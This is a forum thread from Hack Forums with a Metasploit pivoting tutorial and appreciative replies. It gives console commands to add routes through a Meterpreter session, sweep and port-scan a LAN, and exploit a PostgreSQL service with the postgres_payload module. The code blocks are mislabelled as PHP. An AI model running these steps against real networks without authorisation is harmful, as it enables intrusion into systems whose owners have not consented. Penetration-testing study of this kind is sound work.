

Forum:[Hack Forums](#)

Thread: [pivoting using metasploit // MEGA tutorial](#)

Last_viking - July 30, 2018, 9:56 am

introduction

what is pivoting ?

pivoting is a technique moving inside around a network and gaining access to other devices on LAN using the current foothold

image below

Spoiler ([Click to View](#))

the above image discribes functionality of how pivoting works

-- steps to be taken to accomplish pivoting --

1.adding route to sessions through meterpreter this module enables pivoting

PHP Code

```
<?php
autoroute
```

PHP Code

```
<?php
autoroute -s 192.168.110.1/28
cidr notation
```

2.determining devices connected on lan

PHP Code

```
<?php
use post/multi/gather/ping_sweep
```

pingsweep output

3.scanning targets using tcp_fast scanner

PHP Code

```
<?php  
use auxiliary/scanner/portscan/tcp
```

```
PHP Code  
<?php  
set RHOSTS followedbyip/or subnetmask
```

scan output

this machines has some vulnerable services.
listed below
portnumber 25 runs vulnerable smtp service
portnumber 5432 runs vulnerable postgresql service
portnumber 21 runs vulnerable proftpd

4.exploiting vulnerable services to gain control on insecure machine

finding postgresql service version

```
PHP Code  
<?php  
auxiliary/scanner/postgres/postgres_version
```

```
PHP Code  
<?php  
set RHOSTS 192.168.110.170
```

```
PHP Code  
<?php  
run  
# to run to scan
```

output below

exploiting postgresql using postgres_payload

```
PHP Code  
<?php  
use exploit/linux/postgres/postgres_payload
```

```
PHP Code  
<?php  
set RHOST 192.168.110.170
```

```
PHP Code  
<?php  
set ExitOnSession false
```

```
PHP Code
```

```
<?php  
exploit -j
```

exploit completed

session created

[more information on exploit](#)

ending up

some more pivoting tutorials

<https://hackforums.net/showthread.php?tid=5426811> created by [Qismon](#)

frequent errors faced by users

PHP Code

```
<?php
```

```
[-] Handler failed to bind to 192.168.110.169:4444:- -
```

```
[-] Handler failed to bind to 0.0.0.0:4444:- -
```

```
[-] Exploit failed [bad-config]: Rex::BindFailed The address is already in use or unavailable: (0.0.0.0:4444)
```

solution:- `lsof -i -P | grep LISTENING`

this error is caused by RUBY service failed to restart

__Digital__ - July 30, 2018, 1:27 pm

Great thread, thank you so much for helping the community

ItsTragic - August 8, 2018, 9:07 am

You can also use socks4a proxy module in metasploit to create a socks proxy for pivoting. This allows you to use non metasploit applications such as Firefox, burp, etc. Only works for tcp since socks is tcp.

c0rrupt3d - August 10, 2018, 2:28 am

This helped me a lot. Thank you br0.

SIM-3391627 - October 16, 2018, 7:51 am

You're improving the community and teaching many. Thank you for this information.

From what I'm seeing this isn't a shit way of doing things. Great Job!

CyberStrike - October 17, 2018, 12:30 am

Very well written definitely a great addition.